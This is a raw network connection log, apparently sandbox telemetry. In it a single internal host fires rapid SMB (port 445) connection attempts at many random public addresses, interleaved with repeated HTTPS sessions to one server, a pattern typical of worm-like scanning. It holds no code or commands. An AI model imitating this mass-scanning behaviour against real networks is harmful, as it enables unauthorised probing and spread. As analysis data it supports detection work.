Jul 20, 2022 15:45:56.728822947 CEST	54948	445	192.168.2.7	107.186.141.34
Jul 20, 2022 15:45:56.738667011 CEST	54948	445	192.168.2.7	107.186.141.34
Jul 20, 2022 15:45:56.912051916 CEST	445	54948	107.186.141.34	192.168.2.7
Jul 20, 2022 15:45:56.912245989 CEST	54948	445	192.168.2.7	107.186.141.34
Jul 20, 2022 15:45:57.081379890 CEST	445	54948	107.186.141.34	192.168.2.7
Jul 20, 2022 15:45:57.082236052 CEST	54948	445	192.168.2.7	107.186.141.34
Jul 20, 2022 15:45:57.253109932 CEST	445	54948	107.186.141.34	192.168.2.7
Jul 20, 2022 15:45:57.322778940 CEST	54977	445	192.168.2.7	107.186.141.35
Jul 20, 2022 15:45:57.435381889 CEST	54978	445	192.168.2.7	90.23.55.69
Jul 20, 2022 15:45:57.468528032 CEST	54980	445	192.168.2.7	188.18.139.64
Jul 20, 2022 15:45:57.494465113 CEST	445	54977	107.186.141.35	192.168.2.7
Jul 20, 2022 15:45:57.494684935 CEST	54977	445	192.168.2.7	107.186.141.35
Jul 20, 2022 15:45:57.494959116 CEST	54977	445	192.168.2.7	107.186.141.35
Jul 20, 2022 15:45:57.498373985 CEST	54981	445	192.168.2.7	107.186.141.35
Jul 20, 2022 15:45:57.576782942 CEST	54984	445	192.168.2.7	169.210.147.120
Jul 20, 2022 15:45:57.600682974 CEST	54987	445	192.168.2.7	103.105.32.44
Jul 20, 2022 15:45:57.600763083 CEST	54990	445	192.168.2.7	201.183.65.169
Jul 20, 2022 15:45:57.600780964 CEST	54989	445	192.168.2.7	158.123.235.231
Jul 20, 2022 15:45:57.600992918 CEST	54994	445	192.168.2.7	99.96.69.200
Jul 20, 2022 15:45:57.601021051 CEST	54993	445	192.168.2.7	27.144.119.94
Jul 20, 2022 15:45:57.663774967 CEST	445	54977	107.186.141.35	192.168.2.7
Jul 20, 2022 15:45:57.663814068 CEST	445	54977	107.186.141.35	192.168.2.7
Jul 20, 2022 15:45:57.669073105 CEST	445	54981	107.186.141.35	192.168.2.7
Jul 20, 2022 15:45:57.669250011 CEST	54981	445	192.168.2.7	107.186.141.35
Jul 20, 2022 15:45:57.671884060 CEST	54995	445	192.168.2.7	23.150.5.62
Jul 20, 2022 15:45:57.673207045 CEST	54981	445	192.168.2.7	107.186.141.35
Jul 20, 2022 15:45:57.676568031 CEST	54996	445	192.168.2.7	175.207.218.129
Jul 20, 2022 15:45:57.679367065 CEST	54998	445	192.168.2.7	12.108.14.158
Jul 20, 2022 15:45:57.679572105 CEST	55000	445	192.168.2.7	191.71.74.42
Jul 20, 2022 15:45:57.679889917 CEST	55002	445	192.168.2.7	150.152.168.247
Jul 20, 2022 15:45:57.680296898 CEST	55004	445	192.168.2.7	51.87.10.73
Jul 20, 2022 15:45:57.680414915 CEST	55006	445	192.168.2.7	115.122.3.1
Jul 20, 2022 15:45:57.680723906 CEST	55008	445	192.168.2.7	167.192.32.160
Jul 20, 2022 15:45:57.680793047 CEST	55012	445	192.168.2.7	121.78.182.30
Jul 20, 2022 15:45:57.686574936 CEST	55014	445	192.168.2.7	14.242.36.149
Jul 20, 2022 15:45:57.686775923 CEST	55017	445	192.168.2.7	156.98.206.190
Jul 20, 2022 15:45:57.686907053 CEST	55018	445	192.168.2.7	115.191.249.127
Jul 20, 2022 15:45:57.732012033 CEST	55024	445	192.168.2.7	67.15.35.108
Jul 20, 2022 15:45:57.781301975 CEST	55027	445	192.168.2.7	13.207.229.194
Jul 20, 2022 15:45:57.784852028 CEST	55032	445	192.168.2.7	56.112.206.116
Jul 20, 2022 15:45:57.785819054 CEST	55033	445	192.168.2.7	89.111.191.196
Jul 20, 2022 15:45:57.787312984 CEST	55035	445	192.168.2.7	110.80.121.219
Jul 20, 2022 15:45:57.788111925 CEST	55036	445	192.168.2.7	61.165.35.155
Jul 20, 2022 15:45:57.791039944 CEST	55042	445	192.168.2.7	177.90.133.58
Jul 20, 2022 15:45:57.793507099 CEST	55047	445	192.168.2.7	193.24.102.127
Jul 20, 2022 15:45:57.795141935 CEST	55048	445	192.168.2.7	44.30.143.174
Jul 20, 2022 15:45:57.845758915 CEST	445	54981	107.186.141.35	192.168.2.7
Jul 20, 2022 15:45:57.847084999 CEST	54981	445	192.168.2.7	107.186.141.35
Jul 20, 2022 15:45:58.019380093 CEST	445	54981	107.186.141.35	192.168.2.7
Jul 20, 2022 15:45:58.019989967 CEST	54981	445	192.168.2.7	107.186.141.35
Jul 20, 2022 15:45:58.190772057 CEST	445	54981	107.186.141.35	192.168.2.7
Jul 20, 2022 15:45:58.545521975 CEST	55053	445	192.168.2.7	188.18.139.65
Jul 20, 2022 15:45:58.561172009 CEST	55055	445	192.168.2.7	208.106.127.137
Jul 20, 2022 15:45:58.702435970 CEST	55059	445	192.168.2.7	221.242.107.43
Jul 20, 2022 15:45:58.733443022 CEST	55062	445	192.168.2.7	54.95.113.185
Jul 20, 2022 15:45:58.733445883 CEST	55061	445	192.168.2.7	8.10.116.109
Jul 20, 2022 15:45:58.733617067 CEST	55065	445	192.168.2.7	140.35.179.141
Jul 20, 2022 15:45:58.733653069 CEST	55066	445	192.168.2.7	167.55.174.215
Jul 20, 2022 15:45:58.737699986 CEST	55060	445	192.168.2.7	156.181.136.180
Jul 20, 2022 15:45:58.796364069 CEST	55069	445	192.168.2.7	200.122.237.91
Jul 20, 2022 15:45:58.797209024 CEST	55070	445	192.168.2.7	182.209.213.32
Jul 20, 2022 15:45:58.798803091 CEST	55072	445	192.168.2.7	201.211.19.13
Jul 20, 2022 15:45:58.800452948 CEST	55074	445	192.168.2.7	134.21.165.118
Jul 20, 2022 15:45:58.801789045 CEST	55076	445	192.168.2.7	208.49.23.91
Jul 20, 2022 15:45:58.803128004 CEST	55078	445	192.168.2.7	23.185.147.34
Jul 20, 2022 15:45:58.804462910 CEST	55080	445	192.168.2.7	199.61.6.134
Jul 20, 2022 15:45:58.805779934 CEST	55082	445	192.168.2.7	172.206.81.155
Jul 20, 2022 15:45:58.808366060 CEST	55086	445	192.168.2.7	149.0.31.224
Jul 20, 2022 15:45:58.819691896 CEST	55092	445	192.168.2.7	194.149.223.17
Jul 20, 2022 15:45:58.820527077 CEST	55093	445	192.168.2.7	166.159.183.150
Jul 20, 2022 15:45:58.822647095 CEST	55096	445	192.168.2.7	89.13.91.238
Jul 20, 2022 15:45:58.869323015 CEST	55098	445	192.168.2.7	5.246.2.151
Jul 20, 2022 15:45:58.923218012 CEST	445	55092	194.149.223.17	192.168.2.7
Jul 20, 2022 15:45:58.964215040 CEST	55101	445	192.168.2.7	41.179.62.141
Jul 20, 2022 15:45:58.984770060 CEST	55106	445	192.168.2.7	41.179.121.47
Jul 20, 2022 15:45:58.988828897 CEST	55107	445	192.168.2.7	201.10.130.182
Jul 20, 2022 15:45:58.988831043 CEST	55109	445	192.168.2.7	58.129.189.66
Jul 20, 2022 15:45:58.988944054 CEST	55110	445	192.168.2.7	188.22.134.188
Jul 20, 2022 15:45:58.989192963 CEST	55115	445	192.168.2.7	179.78.118.109
Jul 20, 2022 15:45:58.989391088 CEST	55121	445	192.168.2.7	24.58.192.218
Jul 20, 2022 15:45:58.989411116 CEST	55120	445	192.168.2.7	138.252.106.21
Jul 20, 2022 15:45:59.308793068 CEST	55125	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.308847904 CEST	443	55125	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.308979988 CEST	55125	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.411911964 CEST	55125	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.411936045 CEST	443	55125	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.554574013 CEST	443	55125	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.554940939 CEST	55125	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.606290102 CEST	55092	445	192.168.2.7	194.149.223.17
Jul 20, 2022 15:45:59.629195929 CEST	55128	445	192.168.2.7	188.18.139.66
Jul 20, 2022 15:45:59.633124113 CEST	55125	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.633152008 CEST	443	55125	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.635088921 CEST	55125	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.635102987 CEST	443	55125	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.686021090 CEST	55130	445	192.168.2.7	109.18.44.45
Jul 20, 2022 15:45:59.694088936 CEST	445	55092	194.149.223.17	192.168.2.7
Jul 20, 2022 15:45:59.705246925 CEST	443	55125	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.705319881 CEST	443	55125	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.705427885 CEST	55125	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.705521107 CEST	55125	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.735112906 CEST	55125	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.735136032 CEST	443	55125	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.735146999 CEST	55125	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.735189915 CEST	55125	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.737670898 CEST	55131	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.737710953 CEST	443	55131	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.737798929 CEST	55131	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.738157034 CEST	55131	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.738168001 CEST	443	55131	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.845251083 CEST	55134	445	192.168.2.7	126.176.71.121
Jul 20, 2022 15:45:59.847456932 CEST	55136	445	192.168.2.7	31.215.247.92
Jul 20, 2022 15:45:59.861907005 CEST	55139	445	192.168.2.7	160.200.23.163
Jul 20, 2022 15:45:59.862257004 CEST	55142	445	192.168.2.7	110.82.190.110
Jul 20, 2022 15:45:59.862278938 CEST	55141	445	192.168.2.7	64.143.236.203
Jul 20, 2022 15:45:59.862464905 CEST	55143	445	192.168.2.7	106.240.57.0
Jul 20, 2022 15:45:59.881117105 CEST	443	55131	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.881251097 CEST	55131	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.881841898 CEST	55131	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.881855965 CEST	443	55131	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.884432077 CEST	55131	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.884448051 CEST	443	55131	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.919754982 CEST	55145	445	192.168.2.7	76.178.186.47
Jul 20, 2022 15:45:59.922792912 CEST	55149	445	192.168.2.7	124.169.14.182
Jul 20, 2022 15:45:59.924556971 CEST	55151	445	192.168.2.7	59.32.114.116
Jul 20, 2022 15:45:59.929167032 CEST	55153	445	192.168.2.7	4.193.183.30
Jul 20, 2022 15:45:59.930677891 CEST	55155	445	192.168.2.7	27.178.142.7
Jul 20, 2022 15:45:59.932058096 CEST	55157	445	192.168.2.7	137.242.209.199
Jul 20, 2022 15:45:59.933459044 CEST	55159	445	192.168.2.7	80.239.224.183
Jul 20, 2022 15:45:59.936209917 CEST	55161	445	192.168.2.7	169.227.29.114
Jul 20, 2022 15:45:59.937200069 CEST	55162	445	192.168.2.7	79.32.65.74
Jul 20, 2022 15:45:59.939817905 CEST	55165	445	192.168.2.7	157.7.85.105
Jul 20, 2022 15:45:59.940916061 CEST	55166	445	192.168.2.7	77.207.18.103
Jul 20, 2022 15:45:59.948707104 CEST	55173	445	192.168.2.7	125.226.146.5
Jul 20, 2022 15:45:59.966058969 CEST	443	55131	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.966128111 CEST	443	55131	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.966216087 CEST	55131	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.966238022 CEST	55131	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.980015993 CEST	55131	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.980056047 CEST	443	55131	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.980074883 CEST	55131	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.980118036 CEST	55131	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.983416080 CEST	55175	445	192.168.2.7	112.23.170.138
Jul 20, 2022 15:45:59.987240076 CEST	55176	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.987279892 CEST	443	55176	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:59.987373114 CEST	55176	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.987924099 CEST	55176	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:59.987931967 CEST	443	55176	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.093863010 CEST	55182	445	192.168.2.7	124.76.233.160
Jul 20, 2022 15:46:00.108788013 CEST	55184	445	192.168.2.7	32.180.29.25
Jul 20, 2022 15:46:00.113477945 CEST	55186	445	192.168.2.7	21.252.158.16
Jul 20, 2022 15:46:00.113666058 CEST	55187	445	192.168.2.7	130.149.246.9
Jul 20, 2022 15:46:00.113763094 CEST	55189	445	192.168.2.7	196.180.25.37
Jul 20, 2022 15:46:00.113789082 CEST	55188	445	192.168.2.7	6.77.62.230
Jul 20, 2022 15:46:00.114198923 CEST	55199	445	192.168.2.7	185.206.198.202
Jul 20, 2022 15:46:00.114212990 CEST	55198	445	192.168.2.7	221.108.36.90
Jul 20, 2022 15:46:00.128757954 CEST	443	55176	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.128946066 CEST	55176	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.129590988 CEST	55176	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.129601002 CEST	443	55176	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.132292032 CEST	55176	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.132303953 CEST	443	55176	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.196892977 CEST	443	55176	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.196990967 CEST	55176	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.197015047 CEST	443	55176	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.197053909 CEST	443	55176	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.197072983 CEST	55176	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.197102070 CEST	55176	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.197835922 CEST	55176	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.197849989 CEST	443	55176	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.197887897 CEST	55176	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.197920084 CEST	55176	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.201925039 CEST	55202	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.201972008 CEST	443	55202	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.202066898 CEST	55202	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.202419996 CEST	55202	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.202441931 CEST	443	55202	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.348500013 CEST	443	55202	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.348622084 CEST	55202	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.351295948 CEST	55202	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.351314068 CEST	443	55202	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.358470917 CEST	55202	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.358489990 CEST	443	55202	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.419348001 CEST	443	55202	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.419435024 CEST	443	55202	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.419442892 CEST	55202	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.419517994 CEST	55202	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.420386076 CEST	55202	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.420406103 CEST	443	55202	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.420450926 CEST	55202	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.420469999 CEST	55202	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.422705889 CEST	55205	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.422755003 CEST	443	55205	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.422854900 CEST	55205	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.423141956 CEST	55205	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.423156977 CEST	443	55205	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.575795889 CEST	443	55205	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.575918913 CEST	55205	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.593986988 CEST	55205	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.594012022 CEST	443	55205	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.596334934 CEST	55205	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.596343994 CEST	443	55205	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.674185991 CEST	443	55205	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.674264908 CEST	443	55205	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.674344063 CEST	55205	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.674390078 CEST	55205	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.687757969 CEST	55205	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.687809944 CEST	443	55205	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.687819004 CEST	55205	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.687920094 CEST	55205	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.701183081 CEST	55207	445	192.168.2.7	188.18.139.67
Jul 20, 2022 15:46:00.759977102 CEST	55208	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.760021925 CEST	443	55208	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.760214090 CEST	55208	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.761451006 CEST	55208	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.761466980 CEST	443	55208	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.795449972 CEST	55210	445	192.168.2.7	105.59.66.50
Jul 20, 2022 15:46:00.905908108 CEST	443	55208	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.905998945 CEST	55208	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.925851107 CEST	55208	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.925870895 CEST	443	55208	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.960974932 CEST	55208	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:00.960997105 CEST	443	55208	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:00.969607115 CEST	55213	445	192.168.2.7	1.91.37.130
Jul 20, 2022 15:46:00.983617067 CEST	55216	445	192.168.2.7	59.5.225.220
Jul 20, 2022 15:46:00.983618021 CEST	55215	445	192.168.2.7	109.241.52.52
Jul 20, 2022 15:46:00.983810902 CEST	55219	445	192.168.2.7	82.149.6.37
Jul 20, 2022 15:46:00.983913898 CEST	55221	445	192.168.2.7	69.96.154.68
Jul 20, 2022 15:46:00.983985901 CEST	55222	445	192.168.2.7	48.71.4.21
Jul 20, 2022 15:46:01.059683084 CEST	443	55208	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.059771061 CEST	443	55208	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.059865952 CEST	55208	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.059891939 CEST	55208	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.080590963 CEST	55227	445	192.168.2.7	52.112.65.90
Jul 20, 2022 15:46:01.092494965 CEST	55230	445	192.168.2.7	156.157.29.146
Jul 20, 2022 15:46:01.092837095 CEST	55231	445	192.168.2.7	198.126.188.190
Jul 20, 2022 15:46:01.092962980 CEST	55233	445	192.168.2.7	103.50.29.251
Jul 20, 2022 15:46:01.093133926 CEST	55235	445	192.168.2.7	65.193.241.242
Jul 20, 2022 15:46:01.093225002 CEST	55237	445	192.168.2.7	25.194.47.49
Jul 20, 2022 15:46:01.093342066 CEST	55239	445	192.168.2.7	175.8.85.239
Jul 20, 2022 15:46:01.093415022 CEST	55240	445	192.168.2.7	34.188.217.144
Jul 20, 2022 15:46:01.093655109 CEST	55247	445	192.168.2.7	82.13.21.142
Jul 20, 2022 15:46:01.093732119 CEST	55248	445	192.168.2.7	133.79.26.208
Jul 20, 2022 15:46:01.093869925 CEST	55251	445	192.168.2.7	33.82.158.44
Jul 20, 2022 15:46:01.093964100 CEST	55252	445	192.168.2.7	103.134.165.236
Jul 20, 2022 15:46:01.098936081 CEST	55208	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.098984003 CEST	443	55208	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.099009991 CEST	55208	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.099214077 CEST	55208	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.190871954 CEST	55254	445	192.168.2.7	116.22.46.235
Jul 20, 2022 15:46:01.203103065 CEST	55255	445	192.168.2.7	107.186.141.35
Jul 20, 2022 15:46:01.224221945 CEST	55256	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.224265099 CEST	443	55256	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.224364042 CEST	55256	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.225531101 CEST	55256	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.225547075 CEST	443	55256	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.264158964 CEST	55263	445	192.168.2.7	84.60.211.218
Jul 20, 2022 15:46:01.294442892 CEST	54329	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:46:01.296292067 CEST	55264	445	192.168.2.7	58.25.33.14
Jul 20, 2022 15:46:01.297426939 CEST	55266	445	192.168.2.7	179.39.3.77
Jul 20, 2022 15:46:01.298000097 CEST	55267	445	192.168.2.7	69.228.24.37
Jul 20, 2022 15:46:01.298522949 CEST	55268	445	192.168.2.7	37.165.248.158
Jul 20, 2022 15:46:01.300772905 CEST	55269	445	192.168.2.7	29.242.240.184
Jul 20, 2022 15:46:01.303049088 CEST	55278	445	192.168.2.7	196.77.227.140
Jul 20, 2022 15:46:01.303141117 CEST	55279	445	192.168.2.7	134.155.198.111
Jul 20, 2022 15:46:01.366199970 CEST	443	55256	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.366355896 CEST	55256	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.372051954 CEST	445	55255	107.186.141.35	192.168.2.7
Jul 20, 2022 15:46:01.372162104 CEST	55255	445	192.168.2.7	107.186.141.35
Jul 20, 2022 15:46:01.372581005 CEST	55255	445	192.168.2.7	107.186.141.35
Jul 20, 2022 15:46:01.425466061 CEST	55256	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.425483942 CEST	443	55256	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.437170029 CEST	55256	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.437189102 CEST	443	55256	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.521692038 CEST	443	55256	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.521765947 CEST	443	55256	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.521784067 CEST	55256	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.521848917 CEST	55256	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.522386074 CEST	55256	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.522409916 CEST	443	55256	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.522418022 CEST	55256	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.522460938 CEST	55256	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.533557892 CEST	55283	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.533612967 CEST	443	55283	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.533704996 CEST	55283	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.536091089 CEST	55283	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.536117077 CEST	443	55283	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.541610956 CEST	445	55255	107.186.141.35	192.168.2.7
Jul 20, 2022 15:46:01.541826963 CEST	55255	445	192.168.2.7	107.186.141.35
Jul 20, 2022 15:46:01.688026905 CEST	443	55283	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.688174963 CEST	55283	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.712527990 CEST	445	55255	107.186.141.35	192.168.2.7
Jul 20, 2022 15:46:01.712754965 CEST	55255	445	192.168.2.7	107.186.141.35
Jul 20, 2022 15:46:01.752788067 CEST	55283	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.752809048 CEST	443	55283	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.756928921 CEST	55283	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.756952047 CEST	443	55283	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.779298067 CEST	55285	445	192.168.2.7	188.18.139.68
Jul 20, 2022 15:46:01.851792097 CEST	443	55283	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.851874113 CEST	443	55283	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.851891041 CEST	55283	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.851954937 CEST	55283	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.852098942 CEST	55283	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.852119923 CEST	443	55283	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.852154016 CEST	55283	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.852180958 CEST	55283	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.871579885 CEST	55287	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.871625900 CEST	443	55287	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.871764898 CEST	55287	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.879456997 CEST	55287	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:01.879487991 CEST	443	55287	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:01.881752968 CEST	445	55255	107.186.141.35	192.168.2.7
Jul 20, 2022 15:46:01.920553923 CEST	55289	445	192.168.2.7	21.64.160.179
Jul 20, 2022 15:46:01.950462103 CEST	55290	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:02.032996893 CEST	443	55287	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.033135891 CEST	55287	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.035414934 CEST	55287	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.035427094 CEST	443	55287	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.092924118 CEST	55293	445	192.168.2.7	63.185.0.120
Jul 20, 2022 15:46:02.096467972 CEST	55287	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.096491098 CEST	443	55287	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.111437082 CEST	55296	445	192.168.2.7	67.151.21.177
Jul 20, 2022 15:46:02.119793892 CEST	445	55290	107.186.141.36	192.168.2.7
Jul 20, 2022 15:46:02.119935036 CEST	55290	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:02.120033026 CEST	55290	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:02.121798992 CEST	55298	445	192.168.2.7	61.198.233.35
Jul 20, 2022 15:46:02.121900082 CEST	55297	445	192.168.2.7	30.45.25.231
Jul 20, 2022 15:46:02.130779028 CEST	55301	445	192.168.2.7	26.106.186.146
Jul 20, 2022 15:46:02.132287025 CEST	55304	445	192.168.2.7	86.198.168.120
Jul 20, 2022 15:46:02.136595011 CEST	55305	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:02.164354086 CEST	443	55287	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.164418936 CEST	443	55287	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.164503098 CEST	55287	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.164547920 CEST	55287	443	192.168.2.7	20.238.103.94
